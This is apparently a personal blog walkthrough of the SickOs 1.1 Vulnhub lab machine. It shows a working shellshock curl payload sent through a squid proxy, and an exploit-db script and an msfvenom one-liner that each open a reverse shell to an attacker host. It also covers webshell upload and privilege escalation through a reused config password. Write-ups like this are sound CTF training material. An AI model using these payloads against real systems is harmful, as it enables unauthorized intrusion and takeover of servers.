SickOs 1.1 Vulnhub Walkthrough

Sicko n. “a mentally ill or perverted person, especially one who is sadistic.”

This is the SickOs 1.1 vulnhub walkthrough. I find that most of these virtual images are challenging but this one is sick, it makes me feel…sick it’s not pleasant but it’s not hard. I think the title is mostly in reference to the next version which is reportedly harder. Sick OS may mean sick operating system, but I choose to believe it means a sicko would enjoy working with it. Are you a sicko? Maybe not but let’s pwn this box and see what it holds in store for us.

One thing I notice about these virtual machines that run very old images is that they suffer from performance issues, so what I do is turn up the memory assignment a little to bit to help.

What if I told you buffer overflows ear easy, see why in my buffer overflow guide!

Here’s What You Need

• SickOs 1.1 vulnhub image
• VirtualBox (yes not VMWare)

Information gathering

Enumerating the running services reveals two results, 22/tcp and 3128/tcp squid-http.

PORT     STATE  SERVICE    REASON         VERSION
22/tcp   open   ssh        syn-ack ttl 64 OpenSSH 5.9p1 Debian 5ubuntu1.1 (Ubuntu Linux; protocol 2.0)
3128/tcp open   http-proxy syn-ack ttl 64 Squid http proxy 3.1.19

Let’s take a look at the other open port in a web browser by going to 10.0.0.61:3128 it looks like a landing page for squid proxy version 3.1 and it is where I will look next.

running a nikto scan using the useproxy flag I am able to find an interesting detail about the target. It says, OSVDB-112004: /cgi-bin/status: Site appears vulnerable to the ‘shellshock’ vulnerability (http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-6271). Looks like the directory /cgi-bin/ is present which is commonly found when there the shellshock vulnerability is on a webserver.

 nikto -h 10.0.0.61 -useproxy http://10.0.0.61:3128

Now let’s open up a web request in Burp and manipulate the headers a bit.

Another way in

The process of manually checking the contents of webservers is thankfully automated, but for the sake of this step I will put it in a one-liner. Let’s check robots.txt for details. Before doing this make sure that your proxy settings in your browser are using the site address and the squid proxy port so requests can make it to the webserver behind the proxy.

There’s always a hint somewhere right? Yes there is by looking at “Article RSS Feed” there is a link for ?rss.xml after some googling for admin console of wolfcms I decide to try ?admin which leads to a login page.

Upload a shell from /usr/share/webshells/php-reverse-shell and call it using curl or by visiting it in a browser. This is the alternative to using Metasploit.

Get a shell using shellshock

Curling a request to the webserver returns the kernel information. This could be intentional misdirection or harmless detail presentation, but obviously you wouldn’t want the internet to be able to get that information from a misconfigured webserver.

root@kali:~# curl --proxy 10.0.0.61:3128 http://10.0.0.61/cgi-bin/status
{ "uptime": " 02:47:28 up 1 day, 17 min, 1 user, load average: 0.00, 0.01, 0.05", "kernel": "Linux SickOs 3.11.0-15-generic #25~precise1-Ubuntu SMP Thu Jan 30 17:42:40 UTC 2014 i686 i686 i386 GNU/Linux"} 

Let’s exploit it by sending a more useful command inside of a special request header.

root@kali:~# curl --proxy 10.0.0.61:3128 http://10.0.0.61/cgi-bin/status -H "User-Agent: () { pwned;}; echo 'Content-Type: text/plain'; echo; /usr/bin/whoami; exit"

This returns www-data which is a pretty common username for Apache webservers.

Get a reverse shell

Always search exploitdb for anything running, consider it hacker google. Doing a search brings back a possible solution. So doing a searchsploit -m 3900 downloads 3900.py to /home and let’s open it up. (The 3900 comes from the ID number of the exploit from the site)

root@kali:~# python 34900.py payload=reverse rhost=10.0.0.61 lhost=10.0.2.15 lport=1234 proxy=10.0.0.61:3128 pages=/cgi-bin/status

Another way of getting a oneliner reverse shell is to use msfvenom. The trick is to make sure the /bin/bash or /bin/sh is in the PATH of the remote system. Do this by running msfvenom -p cmd/unix/reverse_bash LHOST=<attacker ip> LPORT=1234 -f raw. Then send this as the next request using the technique just demonstrated above.

Privilege escalation

The art of Linux privilege escalation is something few master, but let’s not worry about mastery. This is about finding out who we are, what we can do, who else there is, and what can they do. Start this off by doing a whoami, sudo -l, cat .bash_history, cat /etc/passwd.

The first thing I do is look for files that have the SUID or GUID bit set meaning that the current user can execute the file with the permissions of the original owner or group.

root@SickOs:~# find / -perm -u=s 2>/dev/null
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/eject/dmcrypt-get-device
/usr/lib/openssh/ssh-keysign
/usr/lib/pt_chown
/usr/bin/sudo
/usr/bin/sudoedit
/usr/bin/passwd
/usr/bin/mtr
/usr/bin/chfn
/usr/bin/newgrp
/usr/bin/gpasswd
/usr/bin/at
/usr/bin/chsh
/usr/bin/traceroute6.iputils
/usr/sbin/pppd
/usr/sbin/uuidd
/bin/ping6
/bin/umount
/bin/su
/bin/mount
/bin/fusermount
/bin/ping

Looking at all files with the SUID bit set doesn’t look very promising. Instead I will do a search for the config files for wolfcms (those pesky cms risks eh?) by doing a find / -name *config.php and it does find something worth peeking at.

Capture the flag

All tries to switch user to root fail and I decide to try using the password I just found in one of the other services. Such as SSH. And voila it works. Now to find the flag in one of the privileged directories. An attempt to switch to the root directory is denied, however upon changing to the root user, which I can do with the discovered password I can now see the flag.